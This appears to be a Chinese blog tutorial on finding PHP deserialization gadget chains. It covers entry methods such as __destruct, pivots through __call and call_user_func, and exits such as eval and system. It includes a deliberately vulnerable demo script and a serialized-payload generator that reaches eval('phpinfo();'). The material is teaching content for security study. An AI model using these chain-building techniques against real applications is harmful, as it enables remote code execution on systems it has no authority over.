参考:
实例来源:https://mochazz.github.io/
如果以迷宫类比反序列化漏洞,__destruct()
与__toString()
就是入口;__call
、同名类、call_user_func_array
、call_user_func
为路径;call_user_func_array
、call_user_func
、eval
、$a($b,$c)
等命令执行与文件写入为出口。
本文完……
本文的目的是给出自己分析反序列化漏洞时的思路,明确目标,知道自己接下来应该去找什么样的方法与函数。
好文章很多,这里就快速过一下
反序列化时将String
还原成类,当类被销毁时默认会触发__destruct()
析构方法
当类被当作String
使用时会执行__toString
方法
有一个内容完全可控的反序列化点,例如:unserialize(可控变量)
存在文件上传、文件名完全可控、使用了文件操作函数,例如:file_exists('phar://恶意文件')
PHP8Phar中的元信息不再自动进行反序列化了
PHP魔术方法
PHP继承
绕过__wakeup
执行unserialize()时,先会调用这个函数
phar://反序列化
session反序列化
注意private和protected修饰时的%00
以PHPGGC(通用反序列化工具链)为例子,多数以__destruct()
为入口,__toString()
占一部分,其他屈指可数。
__destruct()
,类的析构函数,当对象被销毁时会自动调用;这决定了__destruct()
就是最好用的反序列化链入口。
laravel反序列化漏洞常用入口PendingBroadcast
,$events、$event可控
class PendingBroadcast{
protected $events;
protected $event;
public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
}
public function __destruct()
{
$this->events->dispatch($this->event);
}
}
__toString()
,类被当成字符串时的回应方法
在WordPress的Guzzle、PHPExcel中有运用
__wakeup
,执行unserialize()时,先会调用这个函数
类之间有包含关系
完全自建的代码中很难,但遵循composer规则的框架则比较容易做到
框架中会有自动加载类的代码,可以了解composer加载机制
__destruct()
在整个web应用中有很多,哪个才是正确的入口呢?
没有直接找出正确入口的方法,但可以减少不必要的尝试。接下来就是要找的路。
形如$this->a->b()
或$temp = $this->a;$temp->b()
,当然a需要可控,()中的参数全部或部分可控,而b有两种情况
b不可控时,可将a定义为有__call
的类,此类中不能有b方法
public __call(string $name, array $arguments): mixed
,在对象中调用一个不可访问方法时调用
当b可控时,便可定义a任意类,b为a中的方法
如果只经过一次跳转就接近出口是最好的,如果不行那就借助上面的内容接着跳转,直到接近出口
call_user_func()
,call_user_func_array()
也是个好的跳板,一般在二次或更多次跳转中使用
__construct()
,PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
而这个初始化的内容是可以被控制的,这决定了跳板中$this->a->b()
等往哪里跳转,也就是说控制方向;要到达跳板也不会是一帆风顺,中间会经历一些关卡如if(...){return ...}
这样的判断,因此便需要在初始化里设置一些参数,让我们通过或绕过这些关卡。
可控的是类或父类已经定义的变量
注意继承 public,protected,private;
用到父类中的private修饰的变量时别忘了构造时把父类写上。
__construct
,__destruct()
是类中默认存在的
类未定义__construct
,在构建链时也可使用
已定义也可被新建“覆盖”,反序列化后调用的并非原类的参数,而是你定义的存入内存的参数
原类$this->hello = "hello";
链中$this->hello = new class();
具体值可以直接定义也可以在__construct
中定义
*
private $data = "phpinfo();";
function __construct() {
$this->data = "phpinfo();";
}
call_user_func()
,call_user_func_array()
这两个函数参数可控时可执行命令
形如$a($b,$c),$a、$b可控,可执行system('id',$c)
eval($a)
其他可执行命令或写入文件的函数
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
入口
__destruct()
路径:
function __destruct() {
$this->ClassObj->action();
}
$this->ClassObj = new normal();
方向控制__construct
中$this->ClassObj
可控
跳板$this->ClassObj->action();
出口eval($this->data);
class evil {
private $data;
function action() {
eval($this->data);
}
}
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil(); //方向转到evil
}
}
class evil {
private $data = "phpinfo();"; //控制$data值
}
echo urlencode(serialize(new lemon())); //urlencode防止乱码,主要是private和protected序列化的%00
echo "\n\r";
下篇可能结合thinkphp6.09的反序列化漏洞来分析具体怎么操作,如果想写的话。
其实也没什么,也就是代码多点、链长点、有个命名空间。